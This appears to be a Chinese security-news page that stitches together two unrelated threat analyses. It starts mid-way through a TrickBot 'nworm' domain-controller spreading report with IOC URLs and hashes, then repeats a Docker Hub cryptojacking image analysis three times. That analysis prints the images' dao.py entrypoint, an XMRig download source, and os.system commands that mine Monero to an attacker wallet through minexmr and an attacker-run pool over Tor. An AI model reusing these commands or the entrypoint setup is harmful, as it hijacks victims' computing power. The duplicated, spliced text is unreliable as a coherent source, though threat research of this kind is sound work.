2020-05-08 – nworm – hxxp://23.95.227[.]159/ico/VidT6cErs

2020-05-08 – mshare – hxxp://23.95.227[.]159/images/cursor.png

2020-05-08 – tab – hxxp://23.95.227[.]159/images/imgpaper.png

nwormDll64 (Windows 7 client April 24th 2020)

900aa025bf770102428350e584e8110342a70159ef2f92a9bfd651c5d8e5f76b

nwormDll64(Windows 7 client May 8th 2020)

85d88129eab948d44bb9999774869449ab671b4d1df3c593731102592ce93a70

参考来源

unit42

*本文作者:Kriston,转载请注明来自FreeBuf.COM

TrickBot于2016年被首次发现,其主要目的是窃取目标主机数据,安装恶意软件后门。TrickBot拥有不同的功能模块,可从受感染的Windows客户端传感染DC。在2020年4月,TrickBot将其传播模块“mworm”更新为“nworm”。nworm不会在DC上留下任何痕迹,服务器重新启动或关闭后会消失。

新nworm模块主要包括:

加密可执行文件和网络通信流量(旧mworm模块没有任何类型的加密/编码)

TrickBot感染从RAM运行,不可持久存在

通过RAM运行以逃避受感染DC的检测

本文回顾了TrickBot模块,并详细地介绍了新nworm模块的特性。

TrickBot模块

TrickBot可以模块化安装运行,感染期间可加载各种二进制文件执行不同功能。 在大多数情况下,TrickBot感染的基础是保存在磁盘的恶意Windows可执行文件(EXE)。 此EXE通常称为“ TrickBot加载程序”,可加载TrickBot模块。 TrickBot模块是从系统内存运行的动态链接库(DLL)或EXE。

在受感染的Windows 10主机上,TrickBo仅出现在系统内存中。在受感染的Windows 7主机上,在磁盘中会存储的相关模块。 在TrickBot感染期间,加密的二进制文件将作为TrickBot模块解密并从系统内存中运行。 下图显示了2020年1月Windows 7 TrickBot模块工件示例。

文件名称以64结尾,说明该主机运行的是Windows 7 64位版本。如果感染发生在32位Windows 7主机上,这些文件名称将以32而不是64结尾。

TrickBot在Active Directory(AD)环境中扩展到DC的三个模块:

mwormDll64(“ mworm”模块)

mshareDll64(“ mshare”模块)

tabDll64(“标签”模块)

传播模块

具有传播功能的TrickBot模块为mworm,mshare和tab,mshare和tab模块:

受感染的Windows客户端使用HTTP URL检索新的TrickBot EXE

受感染的Windows客户端通过SMB将新的TrickBot EXE发送到易受攻击的DC

对于mworm模块:

受感染的Windows客户端对易受攻击的DC进行SMB攻击。

易受攻击的DC使用HTTP URL检索新的TrickBot EXE并感染自身。

除非在带有DC的AD环境中发生TrickBot感染,否则通常不会显示mworm模块。

下图显示了这三个TrickBot模块的传播流程图:

自2020年2月以来,这些模块生成的URL遵循以下模式:

mshare模块以/images/cursor.png结尾

mworm模块以/images/redcar.png结尾

tab模块以/images/imgpaper.png结尾

这些URL使用IP地址而不是域。 下图显示了2020年3月TrickBot感染流量:

新模块分析

2020年4月TrickBot停止使用mworm模块,取而代之的是名为“nworm”的模块出现在受感染的Windows 7客户端上。下图显示了这种新的nworm模块:

nworm的HTTP流量与mworm流量明显不同:

mworm:TrickBot EXE的URL以/images/redcar.png结尾

nworm:TrickBot EXE的URL以/ico/VidT6cErs结尾

mworm:HTTP流量中TrickBot EXE未加密

nworm:TrickBot EXE会在HTTP流量中加密编码

使用Wireshark检查TCP流,可以发现mworm模块和nworm模块HTTP流差异。

下图显示了当前的传播流程,突出显示了nworm模块变化:

不持久性

nworm感染易受攻击的DC时,恶意软件将从内存中启动。受感染的DC上未发现任何攻击痕迹,但DC上的TrickBot重新后会消失。mshare和tab感染易受攻击的DC时,DC重启后仍然持续存在。对于TrickBot而言,重启后消失并不是急需解决的问题,因为DC是一台服务器,服务器很少像Windows客户端那样关闭或重新启动。

Gtag标识

每个TrickBot都有一个gtag标识符,可从TrickBot二进制文件配置数据中找到。在TrickBot感染期间,也可以在HTTP流量中找到Gtag。

Gtag是一个短字母字符串,后跟一个数字表示序列。示例如下:

mor系列gtag:由Emotet感染引起的TrickBot,例如:TrickBot gtag mor84是由Emotet在2020年1月27日感染的。

ono系列gtag:TrickBot通过恶意Microsoft Office文档(如Word文档或Excel电子表格)传播的。

red系列gtag:TrickBot以DLL文件而不是EXE的形式传播,例如:2020年3月17日记录的TrickBot gtag red5。

TrickBot模块使用的TrickBot二进制文件的Gtag是唯一的。

tot系列gtag:mshare模块使用的TrickBot二进制文件

jim系列gtag:nworm(和旧的mworm)模块使用的TrickBot二进制文件

lib系列gtag:tab模块使用的TrickBot二进制文件

下图显示了2020年4月20日Wireshark中的gtag。其中Windows客户端为10.4.20.101,DC为10.4.20.4。

IOCs

HTTP URLs

2020-04-20 – nworm – hxxp://107.172.221[.]106/ico/VidT6cErs

2020-04-20 – mshare – hxxp://107.172.221[.]106/images/cursor.png

2020-04-20 – tab – hxxp://107.172.221[.]106/images/imgpaper.png

2020-05-08 – nworm – hxxp://23.95.227[.]159/ico/VidT6cErs

2020-05-08 – mshare – hxxp://23.95.227[.]159/images/cursor.png

2020-05-08 – tab – hxxp://23.95.227[.]159/images/imgpaper.png

nwormDll64 (Windows 7 client April 24th 2020)

900aa025bf770102428350e584e8110342a70159ef2f92a9bfd651c5d8e5f76b

nwormDll64(Windows 7 client May 8th 2020)

85d88129eab948d44bb9999774869449ab671b4d1df3c593731102592ce93a70

参考来源

unit42

*本文作者:Kriston,转载请注明来自FreeBuf.COM

简介

Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:

图 1. Docker Hub上的恶意Docker镜像

表1是Docker Hub账户的所有镜像,下载次数最多的镜像被下载了147万次。

image.png

表 1. Docker Hub账户上的镜像总结

Docker镜像结构

研究人员检查了azurenql /227_135:442 的镜像结构,该镜像是按如下步骤构造的:

1、使用Ubuntu 16.04.6 LTS作为基础镜像;

2、安装构造镜像所需的依赖库,比如gcc、make、python等;

3、安装tor来对流量进行匿名处理,配置为默认端口9050;

/etc/tor/torrc
127.0.0.1:9050

4、复制ProxyChains-NG 源并从该源构造。ProxyChains的配置为默认配置来通过本地Tor SOCKS代理连接来路由流量。

/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4 127.0.0.1 9050

5、复制挖矿软件XMRig的源,并从该源构造。

6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。

图 2. 镜像构造顺序

脚本dao.py分析

镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。

            "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
            ],

表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py 脚本的差异在于使用不同的XMRig命令行调用,如表2所示。

dao.py 脚本的执行流如下所示:

1、计算系统内CPU核的数量;

2、设置hugepages 系统特征来增加哈希率;

图 3. 设置hugepages 系统特征来增加哈希率

3、安装Tor和构建依赖关系。

4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git 安装;

5、如果/usr/local/bin 中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/ 下载;

6、在/usr/local/bin and /usr/bin 中对XMRig 二进制文件进行系统链接;

7、在后台启动Tor。

8、通过代理链来启动矿工,通过本地Tor SOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:

图 4. 使用proxychains启动挖矿的命令

脚本的执行工作流如图5所示:

图 5. dao.py脚本执行序列

image.png

表2 dao.py脚本中使用了的不同的挖矿命令

挖矿基础设施

加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr 矿池。

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

图 6是钱包地址2020年4月-5月之间的挖矿活动。

图 6. 钱包 ID活动

图 7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。

图 7. 钱包 ID挖到的门罗币

第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。

表2中的Crypto Command 列给出了该方法的示例:

os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

简介

Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:

图 1. Docker Hub上的恶意Docker镜像

表1是Docker Hub账户的所有镜像,下载次数最多的镜像被下载了147万次。

image.png

表 1. Docker Hub账户上的镜像总结

Docker镜像结构

研究人员检查了azurenql /227_135:442 的镜像结构,该镜像是按如下步骤构造的:

1、使用Ubuntu 16.04.6 LTS作为基础镜像;

2、安装构造镜像所需的依赖库,比如gcc、make、python等;

3、安装tor来对流量进行匿名处理,配置为默认端口9050;

/etc/tor/torrc
127.0.0.1:9050

4、复制ProxyChains-NG 源并从该源构造。ProxyChains的配置为默认配置来通过本地Tor SOCKS代理连接来路由流量。

/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4 127.0.0.1 9050

5、复制挖矿软件XMRig的源,并从该源构造。

6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。

图 2. 镜像构造顺序

脚本dao.py分析

镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。

            "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
            ],

表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py 脚本的差异在于使用不同的XMRig命令行调用,如表2所示。

dao.py 脚本的执行流如下所示:

1、计算系统内CPU核的数量;

2、设置hugepages 系统特征来增加哈希率;

图 3. 设置hugepages 系统特征来增加哈希率

3、安装Tor和构建依赖关系。

4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git 安装;

5、如果/usr/local/bin 中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/ 下载;

6、在/usr/local/bin and /usr/bin 中对XMRig 二进制文件进行系统链接;

7、在后台启动Tor。

8、通过代理链来启动矿工,通过本地Tor SOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:

图 4. 使用proxychains启动挖矿的命令

脚本的执行工作流如图5所示:

图 5. dao.py脚本执行序列

image.png

表2 dao.py脚本中使用了的不同的挖矿命令

挖矿基础设施

加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr 矿池。

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

图 6是钱包地址2020年4月-5月之间的挖矿活动。

图 6. 钱包 ID活动

图 7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。

图 7. 钱包 ID挖到的门罗币

第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。

表2中的Crypto Command 列给出了该方法的示例:

os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

简介

Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:

图 1. Docker Hub上的恶意Docker镜像

表1是Docker Hub账户的所有镜像,下载次数最多的镜像被下载了147万次。

image.png

表 1. Docker Hub账户上的镜像总结

Docker镜像结构

研究人员检查了azurenql /227_135:442 的镜像结构,该镜像是按如下步骤构造的:

1、使用Ubuntu 16.04.6 LTS作为基础镜像;

2、安装构造镜像所需的依赖库,比如gcc、make、python等;

3、安装tor来对流量进行匿名处理,配置为默认端口9050;

/etc/tor/torrc
127.0.0.1:9050

4、复制ProxyChains-NG 源并从该源构造。ProxyChains的配置为默认配置来通过本地Tor SOCKS代理连接来路由流量。

/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4 127.0.0.1 9050

5、复制挖矿软件XMRig的源,并从该源构造。

6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。

图 2. 镜像构造顺序

脚本dao.py分析

镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。

            "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
            ],

表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py 脚本的差异在于使用不同的XMRig命令行调用,如表2所示。

dao.py 脚本的执行流如下所示:

1、计算系统内CPU核的数量;

2、设置hugepages 系统特征来增加哈希率;

图 3. 设置hugepages 系统特征来增加哈希率

3、安装Tor和构建依赖关系。

4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git 安装;

5、如果/usr/local/bin 中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/ 下载;

6、在/usr/local/bin and /usr/bin 中对XMRig 二进制文件进行系统链接;

7、在后台启动Tor。

8、通过代理链来启动矿工,通过本地Tor SOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:

图 4. 使用proxychains启动挖矿的命令

脚本的执行工作流如图5所示:

图 5. dao.py脚本执行序列

image.png

表2 dao.py脚本中使用了的不同的挖矿命令

挖矿基础设施

加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr 矿池。

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

图 6是钱包地址2020年4月-5月之间的挖矿活动。

图 6. 钱包 ID活动

图 7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。

图 7. 钱包 ID挖到的门罗币

第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。

表2中的Crypto Command 列给出了该方法的示例:

os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))